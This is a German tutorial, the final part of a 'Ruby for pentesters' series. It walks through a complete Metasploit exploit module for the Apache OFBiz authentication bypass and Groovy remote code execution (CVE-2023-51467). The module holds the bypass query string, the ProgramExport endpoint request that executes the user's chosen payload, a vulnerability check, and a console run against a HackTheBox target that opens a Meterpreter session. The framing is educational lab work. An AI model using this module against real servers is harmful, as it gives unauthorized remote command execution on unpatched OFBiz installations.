// Ruby für Pentester · Teil 10

Als Metasploit-Modul ausliefern

Das Finale. Ein Metasploit-Modul ist nur eine Ruby-Klasse in der Form des Frameworks — also heben wir genau die OFBiz-Kette hinein und lassen uns vom Framework HTTP, Optionen, Payloads und eine Shell gratis reichen.

RubyMetasploitModulesCapstone
6 Min. Lesezeit

Du hast die ganze Kette von Grund auf geschrieben: Recon, einen Auth-Bypass, RCE, einen Listener, das Plündern, einen Cracker, eine Root-Shell, ein verpacktes Werkzeug und eine Test-Suite. Hier die Belohnung — ein Metasploit-Modul ist nichts als eine Ruby-Klasse in einer bestimmten Form. Alles, was du gelernt hast, überträgt sich direkt. Das Framework besitzt bereits die mühsamen Teile (den HTTP-Client, das Options-Parsing, die Payload-Erzeugung, das Session-Handling), also ist das Modul größtenteils die OFBiz-Logik, die du bereits geschrieben hast, in seine Slots eingerastet.

Die Form eines Moduls

Jedes Modul ist eine Klasse namens MetasploitModule, die von einer Framework-Basis erbt und die benötigten Fähigkeiten hineinmischt:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'
  • < Msf::Exploit::Remote ist Vererbung — dasselbe class X < Y aus Teil 7, nur ist Y Metasploits Remote-Exploit-Basis, die check, exploit, datastore und den Rest mitbringt.
  • include ...HttpClient ist ein Mixin: Es pfropft Methoden wie send_request_cgi direkt in unsere Klasse, sodass wir Net::HTTP nie wieder neu aufbauen.
  • Rank bewirbt die Zuverlässigkeit; BYPASS ist dieselbe Konstante, unverändert übernommen.

Metadaten: initialize

initialize ist der Konstruktor aus Teil 7. Hier ruft er super mit einem Metadaten-Hash — update_info — auf, der dem Framework sagt, was das Modul ist und welche Optionen es nimmt:

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Apache OFBiz Authentication Bypass Groovy RCE',
        'Description'     => %q{
          Exploits CVE-2023-51467 in Apache OFBiz. Empty credentials with
          requirePasswordChange=Y bypass authentication, reaching the
          ProgramExport screen, which runs attacker-supplied Groovy and yields
          command execution as the ofbiz service user.
        },
        'Author'         => ['zerodayoutlaw'],
        'License'        => MSF_LICENSE,
        'References'     => [['CVE', '2023-51467']],
        'Platform'       => 'unix',
        'Arch'           => ARCH_CMD,
        'Targets'        => [['Apache OFBiz', {}]],
        'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true },
        'DisclosureDate' => '2023-12-26'
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base OFBiz path', '/'])
    ])
  end

Dieser Hash ist nur Daten — die gleiche Art Schlüssel/Wert-Struktur aus Teil 3. Dass wir ARCH_CMD und einen References-Eintrag für die CVE deklarieren, ist das, was RHOST, RPORT, SSL und die Payload-Auswahl in msfconsole als Optionen erscheinen lässt — ohne eine Zeile Parsing-Code von uns. Teil 7’s OptionParser tat das von Hand; das Framework tut es aus Metadaten.

register_options fügt deine eigenen Optionen obendrauf. OptString.new('TARGETURI', [true, 'Base OFBiz path', '/']) deklariert eine erforderliche String-Option namens TARGETURI, beschrieben für --help, mit / als Voreinstellung — das Framework-Äquivalent zu Teil 7’s opts.on('--target', ...). Der Benutzer setzt sie mit set TARGETURI /, und wir lesen sie als target_uri.path zurück.

Die zwei Methoden, die zählen

Ein Remote-Exploit überschreibt zwei Methoden: check (ist das Ziel verwundbar?) und exploit (feuern). Beide stützen sich auf einen kleinen Helfer, der Groovy POSTet — genau der Zug aus Teil 3, jetzt über den HTTP-Client des Frameworks:

  def check
    res = groovy("throw new Exception('id'.execute().text)")
    return CheckCode::Safe unless res&.body&.include?('uid=')

    print_good('OFBiz ran our Groovy — target is vulnerable')
    CheckCode::Vulnerable
  end

  def exploit
    print_status("Sending Groovy payload to #{datastore['RHOSTS']}")
    groovy("throw new Exception(['bash', '-c', '#{payload.encoded}'].execute().text)")
  end

  def groovy(program)
    uri = normalize_uri(target_uri.path, 'webtools', 'control', 'ProgramExport')
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => "#{uri}?#{BYPASS}",
      'vars_post' => { 'groovyProgram' => program }
    )
  end
end

Schau, worauf jedes Stück abbildet:

  • groovy ist Teil 3’s run, aber send_request_cgi (aus dem Mixin) ersetzt das handgebaute postvars_post ist der Formular-Hash, und das Framework erledigt Verbindung und SSL. normalize_uri fügt TARGETURI mit dem Screen-Pfad zu einer sauberen URL zusammen, also keine doppelten Slashes, egal was der Benutzer gesetzt hat.
  • check führt ein harmloses id aus und meldet CheckCode::Vulnerable oder Safe — dieselbe reflektierte Ausgabe, die wir mit einer Regex gelesen haben, jetzt standardisiert.
  • print_good / print_status sind die Ausgabe-API des Frameworks — die grünen [+]- und blauen [*]-Zeilen, die du in msfconsole siehst, statt rohem puts.
  • In exploit ist payload.encoded der Star: Statt eine bash-Reverse-Shell wie in Teil 4 fest zu verdrahten, erzeugt das Framework die Payload, die der Benutzer gewählt hat, und reicht uns den Kommando-String. Unser Groovy führt ihn nur aus.

Es benutzen

Metasploit lädt Module aus ~/.msf4/modules/, das seinen eigenen Baum spiegelt, also speichere die Datei als ~/.msf4/modules/exploits/linux/http/ofbiz_groovy_rce.rb (führ reload_all in einer offenen Konsole aus). Von da an ist sie ein vollwertiger Bürger:

msf6 > use exploit/linux/http/ofbiz_groovy_rce
msf6 exploit(ofbiz_groovy_rce) > set RHOSTS bizness.htb
msf6 exploit(ofbiz_groovy_rce) > set LHOST tun0
msf6 exploit(ofbiz_groovy_rce) > check
[+] The target is vulnerable.
msf6 exploit(ofbiz_groovy_rce) > run
[*] Sending stage...
[*] Meterpreter session 1 opened
meterpreter >

Der Listener aus Teil 4, die Payload-Verdrahtung, die Session — alles wird dir gereicht. Du lieferst nur die OFBiz-spezifische Logik, weil das der einzige Teil ist, den Metasploit nicht schon kannte.

Wo du gelandet bist

Vor zehn Teilen war das Net::HTTP.get. Du kennst jetzt Rubys Request-Client, Methoden und Konstanten, Hashes, POST-Bodies, Regex, Sockets, Threads, Dateien, Digest/Base64, Thread-Pools und die GVL, das Ausführen von Programmen mit Open3 und einem PTY, Klassen und Kapselung, OptionParser, Testen mit minitest und wie ein Metasploit-Modul zusammengesetzt wird. Wichtiger noch: Du hast sie so gelernt, wie sie tatsächlich benutzt werden — indem du eine funktionierende Exploit-Kette von Anfang bis Ende gebaut und in ein Werkzeug verwandelt hast, das andere Leute laufen lassen können.

Erkenntnisse

  • Ein Metasploit-Modul ist eine Ruby-Klasse (MetasploitModule < Msf::Exploit::Remote) — Vererbung und Mixins (include), beides schlichtes Ruby.
  • update_info-Metadaten ersetzen handgebautes Options-Parsing: Deklariere Arch/Platform/Referenzen, und das Framework liefert RHOST, RPORT und Payload-Optionen gratis.
  • Überschreibe check und exploit; send_request_cgi aus dem HttpClient-Mixin ersetzt deine eigene Net::HTTP-Verrohrung, und print_good/print_status ersetzen puts.
  • register_options + OptString deklarieren deine eigenen Optionen (wie TARGETURI) — die Framework-Version von Teil 7’s OptionParser; normalize_uri baut daraus saubere Pfade.
  • payload.encoded lässt das Framework die Payload erzeugen, sodass dein Modul nur die zielspezifische Logik trägt — die OFBiz-Kette, die du von Hand gebaut hast.

Übungen

  1. Zieh das Groovy-String-Bauen in einen privaten Helfer wrap(cmd), der den throw new Exception(...)-Payload zurückgibt, und ruf ihn aus check und exploit auf — dieselbe Kapselungs-Lektion wie in Teil 7, jetzt in einem Modul.
  2. Lass check die erkannte id-Zeile mit print_status ausgeben, bevor es CheckCode::Vulnerable zurückgibt, sodass du den Beweis siehst, nicht nur ein Urteil.
  3. Füge mit register_options eine zweite Option hinzu — etwa ein OptInt für ein Anfrage-Timeout — und lies sie aus datastore zurück.

Das ist die Serie. Dasselbe Ruby, das eine einmalige Anfrage skriptete, skaliert bis zum Framework-Modul — du hast jetzt die ganze Strecke zurückgelegt.

← Alle Teile